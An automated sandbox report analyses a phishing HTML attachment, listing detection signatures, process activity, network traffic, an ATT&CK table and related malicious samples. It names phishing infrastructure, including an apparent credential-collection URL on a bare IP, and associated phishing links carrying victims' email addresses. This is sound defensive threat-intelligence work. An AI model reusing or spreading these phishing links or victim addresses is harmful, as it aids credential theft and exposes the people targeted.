Edit tour

Windows Analysis Report
Play-Audio_Now(Steven.haerle)CLQD.html

Overview

General Information

Sample name:	Play-Audio_Now(Steven.haerle)CLQD.html
Analysis ID:	1512137
MD5:	17063a9632d15ee8a2bf339b68fdfe63
SHA1:	7f5882f9ae49bd67ba350e7be6dbcc809267301c
SHA256:	1189d12bf2b651550d7a86554dc264f93e9ab0ed99c16652b575be8625996e46
Infos:

Detection

HTMLPhisher

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish10

Detected javascript redirector / loader

HTML document with suspicious name

HTML document with suspicious title

HTML file submission containing password form

Phishing site detected (based on favicon image match)

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Invalid T&C link found

JA3 SSL client fingerprint seen in connection with other malware

None HTTPS page querying sensitive user data (password, username or email)

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 3660 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\Play-Audio_Now(Steven.haerle)CLQD.html MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5892 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1640 --field-trial-handle=1808,i,16055149669166224440,3379469186605788293,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
0.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4828Host: login.live.com

Source: chromecache_84.3.dr, chromecache_85.3.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_87.3.dr, chromecache_75.3.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_83.3.dr, chromecache_80.3.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_83.3.dr, chromecache_80.3.dr, chromecache_87.3.dr, chromecache_75.3.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_83.3.dr, chromecache_80.3.dr, chromecache_87.3.dr, chromecache_75.3.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.16:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.16:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.138:443 -> 192.168.2.16:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.209.160:443 -> 192.168.2.16:49736 version: TLS 1.2

System Summary

HTML document with suspicious name

Source: Name includes: Play-Audio_Now(Steven.haerle)CLQD.html

Initial sample: play

Source: classification engine

Classification label: mal84.phis.winHTML@14/33@26/14

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\Play-Audio_Now(Steven.haerle)CLQD.html
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1640 --field-trial-handle=1808,i,16055149669166224440,3379469186605788293,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1640 --field-trial-handle=1808,i,16055149669166224440,3379469186605788293,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Stealing of Sensitive Information

HTML file submission containing password form

Source: file:///C:/Users/user/Desktop/Play-Audio_Now(Steven.haerle)CLQD.html

HTTP Parser: file:///C:/Users/user/Desktop/Play-Audio_Now(Steven.haerle)CLQD.html

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://getbootstrap.com/)	0%	URL Reputation	safe
file:///C:/Users/user/Desktop/Play-Audio_Now(Steven.haerle)CLQD.html	0%	Avira URL Cloud	safe
https://getbootstrap.com)	0%	Avira URL Cloud	safe
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	0%	Avira URL Cloud	safe
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	0%	Avira URL Cloud	safe
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	0%	Avira URL Cloud	safe
https://github.com/twbs/bootstrap/blob/master/LICENSE)	0%	Avira URL Cloud	safe
https://github.com/twbs/bootstrap/graphs/contributors)	0%	Avira URL Cloud	safe
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	0%	Avira URL Cloud	safe
https://code.jquery.com/jquery-3.2.1.slim.min.js	0%	Avira URL Cloud	safe
http://opensource.org/licenses/MIT).	0%	Avira URL Cloud	safe
https://1203395472-1323985617.cos.sa-saopaulo.myqcloud.com/bootstrap.min.js	0%	Avira URL Cloud	safe
http://157.173.120.174/1203395472/next.php	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
stackpath.bootstrapcdn.com	104.18.10.207	true	false	unknown
cos.sa-saopaulo.myqcloud.com	43.157.144.205	true	false	unknown
s-part-0044.t-0009.fb-t-msedge.net	13.107.253.72	true	false	unknown
code.jquery.com	151.101.130.137	true	false	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	unknown
maxcdn.bootstrapcdn.com	104.18.10.207	true	false	unknown
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	unknown
www.google.com	142.250.185.164	true	false	unknown
aadcdn.msftauth.net	unknown	unknown	false	unknown
1203395472-1323985617.cos.sa-saopaulo.myqcloud.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false	Avira URL Cloud: safe	unknown
file:///C:/Users/user/Desktop/Play-Audio_Now(Steven.haerle)CLQD.html	true	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.2.1.slim.min.js	false	Avira URL Cloud: safe	unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	false	Avira URL Cloud: safe	unknown
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	false	Avira URL Cloud: safe	unknown
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false	Avira URL Cloud: safe	unknown
https://1203395472-1323985617.cos.sa-saopaulo.myqcloud.com/bootstrap.min.js	false	Avira URL Cloud: safe	unknown
http://157.173.120.174/1203395472/next.php	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_83.3.dr, chromecache_80.3.dr, chromecache_87.3.dr, chromecache_75.3.dr	false	Avira URL Cloud: safe	unknown
https://getbootstrap.com)	chromecache_87.3.dr, chromecache_75.3.dr	false	Avira URL Cloud: safe	unknown
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_83.3.dr, chromecache_80.3.dr, chromecache_87.3.dr, chromecache_75.3.dr	false	Avira URL Cloud: safe	unknown
http://opensource.org/licenses/MIT).	chromecache_84.3.dr, chromecache_85.3.dr	false	Avira URL Cloud: safe	unknown
https://getbootstrap.com/)	chromecache_83.3.dr, chromecache_80.3.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.18.10.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
43.157.144.205	cos.sa-saopaulo.myqcloud.com	Japan	4249	LILLY-ASUS	false
157.173.120.174	unknown	United Kingdom	22192	SSHENETUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
104.18.11.207	unknown	United States	13335	CLOUDFLARENETUS	false
13.107.253.72	s-part-0044.t-0009.fb-t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
43.157.144.191	unknown	Japan	4249	LILLY-ASUS	false
142.250.185.164	www.google.com	United States	15169	GOOGLEUS	false
152.199.21.175	sni1gl.wpc.omegacdn.net	United States	15133	EDGECASTUS	false
104.17.25.14	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.17
192.168.2.16

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1512137
Start date and time:	2024-09-16 21:10:34 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Play-Audio_Now(Steven.haerle)CLQD.html
Detection:	MAL
Classification:	mal84.phis.winHTML@14/33@26/14
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.35, 142.250.186.174, 173.194.76.84, 172.217.23.106, 34.104.35.123, 172.217.18.106, 142.250.186.163, 172.217.16.206
Excluded domains from analysis (whitelisted): www.bing.com, clients1.google.com, azurefd-t-fb-prod.trafficmanager.net, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ajax.googleapis.com, aadcdnoriginwus2.azureedge.net, clientservices.googleapis.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Play-Audio_Now(Steven.haerle)CLQD.html

Simulations

Behavior and APIs

⊘No simulations

LLM Input / Output

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.17.24.14	Proforma.Invoice.Payment.$$.html	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js
	http://vtaurl.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/webfonts/fa-brands-400.woff2
	http://Voyages.CNTraveler.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/ScrollMagic/2.0.5/plugins/animation.gsap.js
104.18.10.207	http://desifoodcorner.wb4.xyz/	Get hash	malicious	Unknown	Browse	maxcdn.bootstrapcdn.com/font-awesome/4.7.0/fonts/fontawesome-webfont.woff2?v=4.7.0
	SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.14541.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
43.157.144.205	https://google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse
43.157.144.205	https://khb5eidlxf5y-1323921533.cos.sa-saopaulo.myqcloud.com/khb5eidlxf5y.html?e=support@eso.com	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
stackpath.bootstrapcdn.com	https://gateway.lighthouse.storage/ipfs/bafybeidlhhhfoqqu52nkwbnjq6g6q2h4p5rl4ewwwzv5a45f2vw46ogi2i#muzzammil.ahussain@almosafer.com	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	ForwardedMessage.eml	Get hash	malicious	Unknown	Browse	104.18.11.207
	https://gateway.lighthouse.storage/ipfs/bafybeidlhhhfoqqu52nkwbnjq6g6q2h4p5rl4ewwwzv5a45f2vw46ogi2i#muzzammil.ahussain@almosafer.com	Get hash	malicious	Unknown	Browse	104.18.10.207
	https://vente-directe-dv.com/	Get hash	malicious	Unknown	Browse	104.18.10.207
	http://xportbox.com/hq/FB?nox=6697059329	Get hash	malicious	Unknown	Browse	104.18.10.207
	https://membership.garenaa.id.vn/css/greeting.jsp/index.html	Get hash	malicious	Unknown	Browse	104.18.11.207
	https://saltlakeinsider.com/wp-content/themes/travel/ghgh/red.html	Get hash	malicious	Unknown	Browse	104.18.10.207
	https://lkjkqklqsd.vercel.app/	Get hash	malicious	Unknown	Browse	104.18.11.207
	https://membership.garenaa.id.vn/css/tunnel.aspx/caterpillar.aspx/mana	Get hash	malicious	Unknown	Browse	104.18.11.207
	https://a1-8st.pages.dev/	Get hash	malicious	TechSupportScam	Browse	104.18.11.207
code.jquery.com	https://gateway.lighthouse.storage/ipfs/bafybeidlhhhfoqqu52nkwbnjq6g6q2h4p5rl4ewwwzv5a45f2vw46ogi2i#muzzammil.ahussain@almosafer.com	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	ForwardedMessage.eml	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://gateway.lighthouse.storage/ipfs/bafybeidlhhhfoqqu52nkwbnjq6g6q2h4p5rl4ewwwzv5a45f2vw46ogi2i#muzzammil.ahussain@almosafer.com	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://www.phoenixartstudio.net/?keyvalue=93749&page=https%3A%2F%2Fshdeiw.com%2Fsewirsd	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://pikkorino.com/wp-content/uploads/2018/11/arull.php?7112797967704b536932307464507a53744a4c53704a7a4d7a4c4262497953704e4b55704d7a696c4c31436f727939664e79536b4e533941453dEMAILBASE64	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	http://url2253.supportasecurity.com/ls/click?upn=u001.8PZYqznGDJ9-2FKUHHWNUI3Edxs36Tp2dyG-2Ba7x1-2FPzVdu3bKXNWn2LvlF5iXWtGEfIsJd795-2F6B3b8l-2FhC2f2zw-3D-3D2w7E_lb-2Bnb9KO-2BNO6xtys7-2FSgJ37Cm7-2FqCsJQuSPzRnbo9rKVbI2R8gs14rAUveIpHhIOrHXcf6q6pmPYVBrx-2F-2FgmjhscUNPFCso8gA9rpmEpgMPU1tcukTovCaYGJYvgHvVJZb2xcZFijRQrxXUqMf-2FDb1lgQXZ51YtzZvTAweZNDb5-2BmntOyGie5zyANnlrWIS-2B-2BsgFV4hER50aWpOErGN-2FpJwQITPvdi69D7CK7usgeKJrAUWK0NG8q4Skck2mCy-2F8CjQ5dmXggB2H7tLJidvPvM9khambrWj8FuwMJCzrK4LNStfQWZUtBYMpMG-2F47lnH0S-2FlyoKmWTn5XlHDdgZK6jAFBZXQVQD9cVti9OL-2BGKGmoU9N9PVXbsielqDx6aAOl8reEdBu-2FhZJovH6Cya7sU67oLz9WOmApinrNrgKyLj9-2FnZke-2FrNXntDN-2BmI9gYOp60vp-2BmyMr1b7X-2Bv-2FDGM6pqmBn9a9cF2wTYfTwH1F2O3hMuhPkvWp9ywQI3RWINRAUEkR395xhdWa3Xy4F0DYcfVrqhhW020n6qgsU6x3XOiTP5FWmNCSSr56o2HqOAE6MqQw8fCBbvm3FUVLvCfZ-2FLn4udwAmpHiaqLRuwXpVdB2abW3LmmCPMufkS0qGEGCEDPfGoZHZTkUmpRbDgXHgfWe7exJBnf-2F5hdOTYiw0mN7YOdfSuhE7vEmDV5XXoZMguGuhnIUi1S5IFDf-2BI6-2BU4PVdd42vN-2BNAzkqjdRwjd1G7lG0QQwrLQSoII9g7PyjntBfNVT9z1w1QZMIcgxRPG-2Fd0G6qwnQ6d2XTx-2BxeQOXeERokCIMuNhXscGUUDnFO-2BODGABIjUJmx99N4zNVrq6NLtNHrav1IahnhJfxQ-2BY-3D&c=E,1,E0lAJItgIyUxbXGpxJtGCBhqXoYkpM6eN57cP_YKhu3ZsbCoe3Y2FTZgOx4X7oPpj_5FBx6MpnelyXgRzl52pHKItnj6fhEACRn26PWJEhywZbLRUfbk&typo=1	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://shop.oebbticket.at	Get hash	malicious	Phisher	Browse	151.101.194.137
	https://www.google.co.il/url?q=xtcjw2geVaKWnfmdoGJR&rct=plPBlHNa5kwdhss6Wkqp&sa=t&esrc=513lj8JvP7Ittpg5uakw&source=&cd=HEdeaS5QG8iPRKWBvNC5&cad=v3vi70ntSK6fhpPYoZj8&ved=blJ54Mupbf2HcJbicYcQ&uact=&url=amp%2F96052289709188877.%70%65%64%61%6c%61%6e%64%70%6f%73%65%2e%63%6f%6d/6573616e646272616e6440706561726c686f6c64696e672e636f6d/ZXNhbmRicmFuZEBwZWFybGhvbGRpbmcuY29t	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://funnelverse.com/wp-includes/css/americanexpress/nDw8DT	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Ffilmycurry.in%2Fskoda%2FhV8TfP7Y5ayrff8B7Nw6fATk/YWcucmVwbGllc0BhZy5zdGF0ZS5tbi51cw==	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
